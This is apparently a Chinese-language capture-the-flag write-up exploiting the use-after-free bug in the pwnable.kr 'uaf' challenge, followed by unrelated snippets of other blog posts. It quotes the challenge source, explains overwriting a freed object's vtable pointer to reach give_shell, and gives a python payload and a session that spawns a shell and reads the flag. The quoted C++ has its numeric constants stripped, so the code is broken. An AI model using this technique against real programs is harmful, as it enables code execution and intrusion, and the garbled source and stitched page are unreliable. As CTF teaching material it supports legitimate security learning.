Use-After-Free
0x00 UAF利用原理
uaf漏洞产生的主要原因是释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的状态(这个指针可以称为恶性迷途指针),同样被释放的内存如果被恶意构造数据,就有可能会被利用。
0x01 UAF漏洞的利用步骤
(1)先精心构造一个迷途指针
(2)再精心构造数据填充被释放的内存区域
(3)再次使用该指针,改变程序流程
0x02 Pwnable.kr-uaf
源码如下;
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std; class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
}; class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
}; class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
}; int main(int argc, char* argv[]){
Human* m = new Man("Jack", );
Human* w = new Woman("Jill", ); size_t len;
char* data;
unsigned int op;
while(){
cout << "1. use\n2. after\n3. free\n";
cin >> op; switch(op){
case :
m->introduce();
w->introduce();
break;
case :
len = atoi(argv[]);
data = new char[len];
read(open(argv[], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case :
delete m;
delete w;
break;
default:
break;
}
} return ;
}
uaf
根据分析源码,大致漏洞利用思路:
因为在main函数开始处已经申请了两块内存
Human* m = new Man("Jack", );
Human* w = new Woman("Jill", );
我们只要执行case 3就可以让这两个指针成为迷途指针,加以利用
case :
delete m;
delete w;
break;
观察到case 2 申请了一块内存,并且对这块内存进行写操作
case :
len = atoi(argv[]);
data = new char[len];
read(open(argv[], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
在具体利用之前我们先简单分析一下此时堆内存的分配情况,具体是c++类存在虚函数时的分配情况,我这里不细说,只给出结论,具体的可以参照
1.IDA pro第二版124面
此时堆内存分配大致如下图所示:

加上case 1中执行introduce函数
case :
m->introduce();
w->introduce();
break;
vtable指针指向类的虚函数表,introduce函数处于虚函数表第二项,即*(vtable+8)所指向的地址,又知道在虚表中give_shell函数的位置等于introduce函数位置 - 8.意思是假如我们先把vtable的值覆盖为vtable - 8,那么再执行introduce函数时就相当于执行give_shell函数。
通过IDA逆向分析,我们找到类Man的vtable的地址为0x401570.
利用脚本如下:
uaf@ubuntu:~$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/poc
uaf@ubuntu:~$ ./uaf 24 /tmp/poc
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
0x03 参考链接
随机推荐
- HDU5113【DFS+剪枝】
题意: n*m的矩阵 k种颜色 每种颜色有c[i]个 上下左右相邻的格子不能一样的颜色 问你有没有一种染色方法,有的话输出方案. 思路: 暴搜啊,n,m都才5,做完以后大哥的剪枝是奇偶剪枝,其实画完图 ...
- C#异步调用的应用实践浅谈
C#异步调用的应用实践最经公司工作需要调用一个外部的webservice,同时要将传出的数据进行保存,以自己以前的习惯,就打算逐步操作,失败啊,完全没考虑过用户体验效果,在同事指点下,意识到使用C#异 ...
- 洛谷P4151 [WC2011]最大XOR和路径(线性基)
传送门 不知道线性基是什么东西的可以看看蒟蒻的总结 首先看到异或就想到线性基 我们考虑有一条路径,那么从这条路径走到图中的任意一个环再走回这条路径上,对答案的贡献是这个环的异或和,走到这个环上的路径对 ...
- 自然语言处理(二)——PTB数据集的预处理
参考书 <TensorFlow:实战Google深度学习框架>(第2版) 首先按照词频顺序为每个词汇分配一个编号,然后将词汇表保存到一个独立的vocab文件中. #!/usr/bin/en ...
- HTTP1.1规范下载 6个文档组成
- ZOJ 4016 Mergeable Stack(from The 18th Zhejiang University Programming Contest Sponsored by TuSimple)
模拟题,用链表来进行模拟 # include <stdio.h> # include <stdlib.h> typedef struct node { int num; str ...
- Centos 7.x 安装 MongoDB
官方安装资料:点击直达 本次以Centos为安装主机 1:首先先导入MongoDB的yum源,因为Centos默认是没有MongoDB的yum源,创建文件:/etc/yum.repos.d/mongo ...
- vue教程1-初体验
起步 var vm = new Vue({ // 选项 }) #每个Vue应用都需要通过实例化Vue来实现,语法格式继承原生js <!DOCTYPE html> <html lang ...
- 116 Populating Next Right Pointers in Each Node 每个节点的右向指针
给定一个二叉树 struct TreeLinkNode { TreeLinkNode *left; TreeLinkNode *right; TreeLinkNod ...
- Windows如何利用输入法简单的打出 ‘↑’ ‘↓’ ‘↖’等箭头
‘↑’ shang ‘↓’ xia ‘←’ zuo ‘→’ you ‘↖’ zuoshang ‘↙’ zuoxia ‘↗’ youshang ‘↘’ youxia